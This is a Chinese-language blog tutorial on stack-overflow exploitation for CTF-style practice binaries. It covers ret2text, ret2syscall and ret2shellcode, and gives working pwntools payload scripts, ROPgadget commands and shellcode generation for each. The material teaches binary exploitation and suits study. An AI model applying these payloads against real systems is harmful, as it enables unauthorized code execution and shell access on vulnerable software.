一、ret2text(Return to .text)
原理
利用程序 .text
段(代码段)中已有的代码片段(如 system("/bin/sh")
)直接控制程序流。
适用条件
存在栈溢出漏洞。
程序中存在可直接利用的代码片段(如
system("/bin/sh")
)。
攻击步骤
确定偏移量:计算输入缓冲区的起始位置到返回地址的偏移量。
定位目标地址:找到程序中
system("/bin/sh")
的地址。构造 Payload:覆盖返回地址为目标地址。
示例(32位程序)
假设程序中有以下代码片段:
void vuln() {
char buf[20];
gets(buf); // 栈溢出漏洞
}
void win() {
system("/bin/sh"); // 目标函数
}
Payload 构造:
from pwn import *
p = process('./ret2text')
offset = 28 # 偏移量(通过调试确定)
win_addr = 0x08048456 # win() 函数地址(通过 objdump 或 gdb 获取)
payload = b'A' * offset + p32(win_addr)
p.sendline(payload)
p.interactive()
二、ret2syscall(Return to Syscall)
原理
通过 ROP(Return-Oriented Programming)链构造系统调用(如 execve("/bin/sh", 0, 0)
),利用 int 0x80
(32位)或 syscall
(64位)触发。
适用条件
存在栈溢出漏洞。
程序中存在足够的 ROP Gadgets。
攻击步骤(32位)
-
确定偏移量:同 ret2text。
-
设置寄存器:
eax = 0xb
(execve
的系统调用号)。ebx = "/bin/sh" 的地址
。ecx = 0
(参数数组地址)。edx = 0
(环境变量地址)。 -
触发系统调用:调用
int 0x80
。
示例(32位)
查找 Gadgets:
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx"
假设找到以下 Gadgets:
0x080bb196 : pop eax ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x08049421 : int 0x80
Payload 构造:
from pwn import *
p = process('./ret2syscall')
offset = 44
binsh_addr = 0x080be408 # 程序中 "/bin/sh" 字符串地址
payload = b'A' * offset
payload += p32(0x080bb196) # pop eax ; ret
payload += p32(0xb) # eax = 0xb
payload += p32(0x0806eb90) # pop edx ; pop ecx ; pop ebx ; ret
payload += p32(0) # edx = 0
payload += p32(0) # ecx = 0
payload += p32(binsh_addr) # ebx = "/bin/sh" 地址
payload += p32(0x08049421) # int 0x80
p.sendline(payload)
p.interactive()
三、ret2shellcode(Return to Shellcode)
原理
向可执行内存区域(如栈)写入 Shellcode,并跳转执行。
适用条件
存在栈溢出漏洞。
内存区域有 可写且可执行 权限(或关闭 NX 保护)。
攻击步骤
-
确定偏移量:同 ret2text。
-
写入 Shellcode:将 Shellcode 放在输入缓冲区的起始位置。
-
覆盖返回地址:指向 Shellcode 的起始地址。
示例(32位)
生成 Shellcode:
shellcode = asm(shellcraft.sh()) # 使用 pwntools 生成
Payload 构造:
from pwn import *
p = process('./ret2shellcode')
offset = 28
buf_addr = 0xffffd000 # 缓冲区地址(通过调试确定)
payload = shellcode.ljust(offset, b'A') + p32(buf_addr)
p.sendline(payload)
p.interactive()
四、关键注意事项
-
偏移量计算:
使用cyclic(100)
生成测试字符串,通过崩溃时的eip
值计算偏移。 -
地址打包:
32位:p32(address)
,64位:p64(address)
。 -
内存保护:
NX 保护:若开启,ret2shellcode 不可用。
ASLR:若开启,需结合信息泄露绕过。
-
调试工具:
-
GDB + Peda/Pwndbg/EFI。
-
checksec
检查程序保护机制。
-
五、总结
攻击类型 | 核心思路 | 依赖条件 |
---|---|---|
ret2text | 跳转到程序已有的代码片段 | 存在可利用函数 |
ret2syscall | 构造 ROP 链触发系统调用 | 足够的 Gadgets |
ret2shellcode | 向可执行内存写入并执行 Shellcode | 内存可写且可执行(NX关闭) |
根据题目环境和保护机制选择合适的方法,结合调试工具动态验证。
时光匆匆,一篇博客又到了结尾处啦。真心感谢每一位愿意花时间阅读我文字的朋友,希望你们每天都过得开开心心的,生活顺顺利利哦,咱们下次再通过文字‘相遇’呀。